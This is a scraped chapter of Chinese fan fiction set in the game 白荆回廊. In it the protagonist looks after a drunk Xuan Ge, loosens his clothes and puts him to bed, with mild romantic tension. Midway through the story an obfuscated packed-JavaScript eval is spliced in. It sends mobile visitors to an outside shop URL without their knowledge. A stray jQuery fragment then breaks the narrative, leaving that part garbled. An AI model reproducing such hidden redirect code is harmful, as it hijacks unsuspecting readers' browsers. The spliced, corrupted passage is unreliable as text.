文趣网 > 都市小说 > [白荆回廊]距离 > 4. 第 4 章
    一个下午的时间,就这么在滑雪和聊天中度过了。

    期间,帮走失的小女孩找到了爸爸,接住了差点摔出滑道的姑娘,拍到了滑道附近好奇围观他们的山雀,遇到了一个热情想要教她滑雪的搭讪男,帮一对吵架的情侣重归于好。

    虽说很好奇中级滑道,但还是留待下次吧,她还想继续保持自己在岚相心目中“运动神经还不赖”的印象。然而她并不知道的是,在岚相心目中她的形象已经是个爱管闲事的大姐了。

    俩人开开心心地回家,发现玄戈还没有回来。时间差不多了,罗尼亚夫人留他下来一起吃了个晚餐。之后,岚相就告辞离开了。

    监督想了想,掏出通讯器。先是看了眼苏筱发过来的请你喝超大杯奶茶的表情包,给她比了个心发回去,然后点开玄戈的聊天界面。

    监督:【回来了吗?】

    大约过了三分钟,对面回复。

    玄戈:【快了。】

    监督看了眼时间,现在才9点。决定先去洗个澡,等收拾完再下来等一下玄戈,至少跟他说声晚安再去睡。他要是今晚不回来就算了,既然说很快就回来,她就不能不等。不然主人家还没回来,她自顾自就去睡了,感觉也太没礼貌了点。

    下午可能是玩得太狠了些,感觉体力消耗有点多,洗澡的时候监督有点犯困,差点在浴缸里睡着了。迷迷糊糊地爬起来,吹干头发,换上长袖睡裙,监督打着哈欠推开门,准备下楼去客厅。

    谁知刚走到楼梯口,发现她上楼之前还开着的大灯竟然已经被关掉了,只剩沙发边的一盏橘色台灯还散发着光亮,朦胧地勾勒出靠在沙发上那人模糊的身体轮廓。

    监督在原地等了等,沙发上的人都没有任何动静。

    是玄戈吗?他这是……在沙发上睡着了?

    监督犹豫了下,扶着扶手慢慢走下楼,一点点靠近客厅的沙发。终于在走到台灯旁时确认了玄戈的状态。他还穿着外出时才会穿的全套衣物,长长的披风被压在身下,整个人靠倒在沙发背上,松弛地闭着眼,似乎是睡着了。

    “玄戈,你睡着了吗?”

    她也不知道自己是想叫醒他还是想确认他到底有没有睡着,出口的话语很轻很柔。

    刚走近了两步,一股酒味扑面而来,让她下意识皱起了眉头。

    玄戈终于有了反应,他抬手覆盖住自己的额头,将刘海全部捋到了头顶,睁眼看向站在自己面前的人,声音彷佛是从鼻间溢出来一样,黏黏糊糊的。

    “没有。”在这样安静的夜色下,他连呼吸的声音都显得慵懒惑人,“只是不想动。”

    也不知道是刚睁开还是因为酒气上涌,他看过来的眼神格外朦胧。这样过分的松弛反而模糊了平时的分寸感,这样直白不加掩饰地注视,给人一种热烈的错觉。

    “你醉了?”

    他重新把手放下来,慢半拍地答:“没有。”

    监督撇撇嘴,小声嘟囔:“醉鬼都这么说。”

    玄戈闷笑了两声,“真的没有。”

    “嗯对,你没醉。”她敷衍两句后转过身,刚走开一步就被拽住了手腕。

    监督拍了拍他的手背,示意他松开。

    “我去给你倒杯牛奶。”

    “我家可没有熊熊燕麦牛奶。”

    监督:……

    这人都醉成这样了,怎么还记仇呢?她不就给他泡过一次吗,至于记到现在吗?

    见她被哽到的表情,玄戈又闷笑了两声,借着重新靠回沙发背的动作将她拉了过去。

    “真不用倒水,我不渴。你陪我坐一会儿吧。”

    监督被他拽着坐到他旁边,有点无语。满脑子都是不要跟醉鬼计较,放平心态。

    玄戈松开了她的手腕,却没有彻底挪开。手心轻轻搭在她的腕骨上,五指松弛地包裹住她整个手背。没有感受到力度,也没什么别的动作,像是握着她的手,又像是单纯地放松垂在那里,令人迷惑,反而兴不起一定要挣开的念头。

    “事情处理完了吗?”监督挑起话头。

    虽然跟醉鬼聊正事有点傻,但总不能就这么干坐着,大不了她不往心里去。

    “嗯,差不多了。最迟明天上午就能解决。”他显然不想继续这个烦人的话题,反问她,“今天玩得怎么样?”

    “很好啊。你走了之后,我在庭院里堆了好多雪人,都快成一个军团了。有筱筱、老师、师兄……”她掰着指头如数家珍,“对了,罗尼亚夫人一眼就认出了陀螺。”

    “还有陀螺?”

    “有,我把它跟老板放在一起,还有它们的座驾香鱼号。”

    估计是想到每次陀螺见到老板那副谄媚的样子,玄戈笑出了声。

    “然后你跟羽林岚相在一起,北洛少爷——”

    “还有我吗?”他似乎有些意外。

    监督嘴角一抽,转过头对着他的视线。

    “当然有,我在你家堆雪人,怎么可能不给主人堆一个?话说都有陀螺了,怎么可能没你?”

    玄戈依旧用那种朦胧热烈的眼神望着她,嘴上却毫不留情。

    “因为大部分时候……人不如猫。”

    监督:……

    “你说的好有道理,我竟无言以对。”

    玄戈顿时捂着脸,笑倒在了沙发背上。笑着笑着,他微喘着,倒在了她的肩膀上。

    监督浑身一僵:“玄戈?”

    他的体温很高,也许是喝过酒的关系,热意隔着层层布料的阻隔依旧不屈不挠地蔓延过来,侵入她的身体。

    “抱歉,我有点难受。”说话间,滚烫的吐息带着令人熏然的酒气喷洒在她的脖颈上,有点痒,激起了一片鸡皮疙瘩。

    她强忍着这种奇怪的敏感,扶住他的肩膀问:“哪里难受?想吐吗?”

    “……胸口闷得慌。”

    胸口闷?

    扶着肩膀的手下意识地挪到他胸口,随着他呼吸的频率,感受到手下的布料在胸腔的扩张中被撑开的细微变化。之前就听说人在完全放松的状态下,呼吸的深度会比平时更深,胸腔扩张的幅度也会加大。那平常穿的衣服在这种情况下可能就会显得有点勒了。

    找到问题所在后,监督的手就往下移,准备帮他把外套和马甲什么的先脱了。结果手刚刚碰到衣扣,就被玄戈一把攥住了。

    “做什么?”

    “你不是闷吗?我帮你把外套脱掉,松开一点应该就会好了。”

    话虽如此,但是这个姿势确实……有点不太对劲。

    现在玄戈靠在她的肩头,她相当于半抱着他,这种情况下还伸手帮他脱衣服,场面确实是有点说不清。虽然他是个醉鬼……

    显然不光是监督自己一个人这么想,玄戈听了她的话之后也没有直接松开她的手,而是努力直起上半身从她身上离开,重新靠回沙发背上后,才放开手。

    “麻烦你了。”

    失去了他身体的温度,监督觉得头脑都清醒了不少。一边想着自己这是在给醉鬼善后,一边尽量淡定地帮他解扣子。等扣子全部解开,监督将西装从他肩头拉开,玄戈很配合地抬起后背,侧过身来面对她,任由她把衣服从自己身上脱掉。结果一个重心不稳,又重新栽回她怀里。

    监督没什么反应,手下没停地把衣袖从他胳膊上撸下来,往旁边一丢。

    大功告成。

    “抱歉……”反倒是玄戈再次艰难地挪动自己,靠回沙发背。

    监督已经没脾气了,只是脱一件西装外套而已,她竟然都被迫出了一身汗,澡白洗了。

    醉鬼真难搞!

    经过这一出,她觉得自己完全没必要再矫情什么。很是干脆地站起身,拎起长到脚踝的睡裙裙摆拉到膝盖,跨开腿站到了玄戈的双腿两侧,直接站到他的正面。放下裙摆后重新弯下腰,开始帮他解马甲的扣子。

    玄戈似乎有点懵,发直的眼神一会儿落在她的裙摆上,一会儿又落在她脸上。监督哪有功夫管他现在在想什么,马甲因为撑得更狠,扣子比西装可难解多了,偏偏这件马甲扣子还爆多,也不知道他每天穿衣服有多麻烦。

    费了半天劲才解开了四颗,监督累得腰酸背痛,指尖还有点疼。她重新直起身,叉着腰喘气。休息了一会儿后,再继续弯下腰奋战。又解开两颗之后,监督终于受不了,干脆一屁股坐在了他的大腿上,继续埋头解扣子。

    等所有扣子全部解开,监督两手的拇指和食指指尖上已经烙下了深深的扣子印,碰一下都疼。她一边吹着自己可怜巴巴的手指尖,一边跟玄戈抱怨:

    “下次你还是换一种扣子吧,太折磨人了。”

    玄戈的眼神落到她的指尖上,昏暗的灯光下虽然看不清颜色,但那几处凹陷还是清晰可见的。那么深的痕迹,一定很痛。

    不过监督也不打算他给自己什么回应,感觉玄戈已经醉得不行了。她没忘记自己的本来目的,伸手把玄戈的后背从沙发背上拉起来,把马甲也脱了下来。剩下的就只有一件单薄的衬衫,和束缚住他领口的领带了。

    领带可比扣子好搞多了。先是把领带夹的卡扣打开,拆下来丢到桌上,然后拽松领带结。

    “唔……”玄戈发出了不舒服的轻哼。

    “勒到你了?”她不再用力拉拽,而是研究了一下这个结,发现竟然不是那种拉拽式的,是需要自己打的,怪不得她刚一拽就扯到他的脖子了。

    “你这也太讲究了点。”

    监督无奈,只能再靠近了些,认真研究了一下这个领结的系法。好在她向来机智,在拨弄了两下之后就找到了窍门,三绕五绕地就把领结拆开,从他领子下面把领带抽出来了。

    最后,再把领口的扣子解开。

    想了想,再解开一颗。

    完工!

    呼,总算搞定了,累死她了!

    玄戈微蹙的眉头肉眼可见地舒展开来,长长地舒了一口气,闭上了眼睛。

    “舒服点了?”

    “……嗯。”

    听到这磨磨唧唧的回应,监督就知道他应该是困了。她拍了拍玄戈的肩膀,说:

    “别在这里睡,起来,回房间再睡。”

    “嗯。”

    他应了声,但没动。

    监督没辙,拍肩膀的手改为拍脸。

    “玄戈,玄戈醒醒,会感冒的。”

    连续拍了好几下,玄戈眼都没睁,直接握住她的手往下拖,然后压在自己的咽喉处——

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17800239|210601||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟昨晚一模一样的位置。

    手一松,继续睡。

    感受着手心里熟悉的触感,监督的脑回路在拐了两个弯后终于找到了路径,诡异地对上了玄戈的思路。

    给你喉结玩,别折腾我,我要睡觉。

    监督:……

    在玄戈心里,自己好像个变态哦。

    但她还是从善如流地玩了一会儿,顺带摸了摸他的颈窝。

    反正是送给她的贿赂,想必他也不会计较。

    被这份贿赂硬控了五分钟,监督觉得自己不能继续堕落下去了。她再次抬手拍了拍玄戈的脸,“玄戈,起来啦。”

    他再次拉开她在自己脸上捣乱的手,这次直接反锁到后背,将她整个人扣进怀里,脑袋摁到自己颈窝。含混的声音从胸腔传来:

    “别闹。”

    然后呼吸放缓,自顾自地继续睡了。

    监督:……

    这是什么反剪制敌手法吗?

    她试着挣了挣,双手在后腰处被他一只手制住,完全挣脱不了。

    另一只手压在她的脖颈后方,只要她试着抬头,就会被残忍地押回去。

    而她越是试图挣开,扣住她的两只手就越是用力。

    最后,她整个人被迫彻底压在了他的胸膛上,两具身体紧紧贴合,再也没有一丝她可以活动的缝隙。

    虽然知道玄戈作为黑·手·党的首领武力值肯定不低,但他碰触自己的时候一直都很绅士,从来没有给她造成过任何压力。所以第一次像现在这样毫无反抗之力得被禁锢住,监督竟然觉得自己有点委屈。

    她知道玄戈是喝醉了,神志不清。

    可她坐在他的腰上,皮带是真的很硌,大腿内侧磨得发疼。

    裙摆挣扎间已经撩到了大腿上,就算暖气开着也还是稍微有点冷。不过考虑到他身上热得要命,监督倒是不担心自己会着凉。甚至自暴自弃地想,要是真这么睡一晚上,有彼此的体温在,那他们俩确实都不会感冒。

    但是想到明天玄戈醒来的表情,还有罗尼亚夫人的反应……

    不行,她得振作起来!

    不能让这件注定会成为黑历史的事情发生!

    监督艰难地抬起头,看了眼睡得死沉死沉的玄戈,下定决心一张嘴——

    一口咬在了他脖颈与肩膀的连接处。

    “唔!”

    因为下了狠心,这一口监督咬得格外重。虽然不至于见血,但牙印是100%印上去了。玄戈也确实被痛醒了,他皱起眉头,睁开眼低头看向她,慢半拍地松开了手,摸了摸自己的颈侧。

    “嘶……”

    不知道是不是错觉,感觉他此刻的眼神透露着难以言说的震惊和委屈。

    你还委屈上了?

    监督揉了揉自己被压酸了的手腕,觉得自己咬他一口完全没有必要心怀愧疚。

    “清醒了?醒了就起来,回房间睡。”

    她也从他的大腿上站起来,重新站直了身子。骤然一下子离开热源,监督还有点不太适应,感觉汗毛都立起来了。见玄戈还坐着不动,索性拉住他的手腕,把他从沙发上拽起来。

    然后像是牵着小朋友一样,牵着他的手上了二楼,打开他的房门,让他躺回自己床上。等把被子也盖好,监督没忍住打了个哈欠。

    “哈啊,总算搞定了。”

    好累人,醉鬼真是太难搞了。

    她站起身准备回房睡觉,谁知刚起来就被拉住手腕,坐回了床边。无奈地扭过头,发现刚刚还乖乖闭眼睡觉的玄戈正半睁着眼睛看着她,握着她的手腕不松手。

    她好脾气地拍了拍他的手背,然后摸了摸他的额头继续哄他。

    “睡吧,这是在家里,很安全。”

    不一会儿,他就松开手,闭上眼坠入了梦乡。

    “晚安。”

    监督轻手轻脚地起身离开,将房门关上,回到了隔壁自己的房间,躺倒在了床铺上。

    看了眼通讯器,晚上11点多了。

    怪不得这么累,她竟然被玄戈折腾了一个多小时。

    真不知道这一个多小时都在干嘛。

    她在床上拱了拱,把自己拱到被子里。

    本来还想再洗个澡的,算了,没力气了,明早再说吧。

    明天记得跟玄戈讲一声,别再喝那么多酒了。

    平躺了一阵,监督有点受不了地转了个身,摁住了自己的胸口。

    “这么久了,心脏怎么还是一点也不消停……”

    玄戈看向她的眼神深深地印在了脑海里,不断回放,那样炽热暗沉的目光让她无法控制地心跳加速,手脚发软。可她清楚地知道,这不是他的本意,只是酒精造成的生理反应罢了。

    可除此之外,他身体的温度,骨骼和肌肤的触感,拥抱的力度,全都刻印在了身体上,很难简单地无视掉。而且她还发现,除了酒味以外,玄戈身上还有一股很浅淡好闻的味道,只有贴身的时候才能嗅到,应该是他的体香。

    监督发现,自己还挺喜欢的。

    她拉起被子盖住了自己早已红透的半张脸,闭上眼强迫自己别再想了。

    别被酒精迷惑了,这不过是幻觉。